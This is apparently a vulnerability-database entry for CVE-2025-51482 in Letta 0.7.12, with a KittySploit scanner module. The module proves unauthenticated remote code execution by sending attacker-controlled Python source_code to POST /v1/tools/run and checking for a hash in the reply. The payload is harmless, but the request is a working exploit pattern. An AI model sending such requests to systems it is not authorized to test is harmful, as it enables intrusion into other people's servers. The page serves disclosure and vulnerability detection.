Lucene search
+L

Letta 0.7.12 - Remote Code Execution

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Unauthenticated RCE in Letta via POST /v1/tools/run executing attacker source_code.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2024-51482
10 Jul 202607:37
–githubexploit
circl
Circl
CVE-2025-51482
22 Jul 202518:56
–circl
cnnvd
CNNVD
Letta-ai letta 代码注入漏洞
22 Jul 202500:00
–cnnvd
cve
CVE
CVE-2025-51482
22 Jul 202500:00
–cve
cvelist
Cvelist
CVE-2025-51482
22 Jul 202500:00
–cvelist
euvd
EUVD
EUVD-2025-22345
3 Oct 202520:07
–euvd
kitploit
Kitploit
Letta-CVE-2025-51482-RCE
11 Oct 202614:57
–kitploit
mend
Mend
CVE-2025-51482
22 Jul 202500:00
–mend
nuclei
Nuclei
Letta Letta 0.7.12 - Remote Code Execution
15 Oct 202602:05
–nuclei
nvd
NVD
CVE-2025-51482
22 Jul 202517:15
–nvd
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Letta 0.7.12 - Remote Code Execution"""

import hashlib
import json

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        "name": "Letta 0.7.12 - Remote Code Execution",
        "description": "Unauthenticated RCE via POST /v1/tools/run executing attacker tool source_code.",
        "author": ["KittySploit Team"],
        "severity": "high",
        "cve": "CVE-2025-51482",
        "tags": ["web", "scanner", "cve", "cve2025", "vuln", "letta", "rce", "vkev"],
        "agent": {
            "risk": "active",
            "effects": ["network_probe"],
            "expected_requests": 1,
            "reversible": True,
            "approval_required": False,
            "produces": ["tech_hints", "risk_signals", "endpoints"],
            "cost": 1.0,
            "noise": 0.2,
            "value": 1.0,
        },
        "references": [
            "https://www.gecko.security/blog/cve-2025-51482",
            "https://github.com/letta-ai/letta/pull/2630",
            "https://nvd.nist.gov/vuln/detail/CVE-2025-51482",
        ],
    }

    def run(self):
        num = "999999999"
        expected = hashlib.md5(num.encode()).hexdigest()
        payload = {
            "name": "kittysploit",
            "args": {},
            "json_schema": {"type": "object", "properties": {}},
            "source_code": (
                "def kittysploit():\n"
                "    import hashlib\n"
                f"    data='{num}'.encode('utf-8')\n"
                "    return ''+hashlib.md5(data).hexdigest()"
            ),
        }
        r = self.http_request(
            method="POST",
            path="/v1/tools/run",
            headers={"Content-Type": "application/json"},
            data=json.dumps(payload),
            allow_redirects=False,
        )
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        ctype = (r.headers.get("Content-Type") or r.headers.get("content-type") or "").lower()
        if "application/json" not in ctype:
            return False
        if expected not in body or 'tool_return":' not in body.replace(" ", ""):
            if expected not in body or "tool_return" not in body:
                return False
        self.set_info(
            severity="high",
            cve="CVE-2025-51482",
            reason="Letta /v1/tools/run executed attacker-controlled source_code",
            path="/v1/tools/run",
            confidence="high",
        )
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jul 2026 11:27Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.18.8
EPSS0.02023
SSVC
1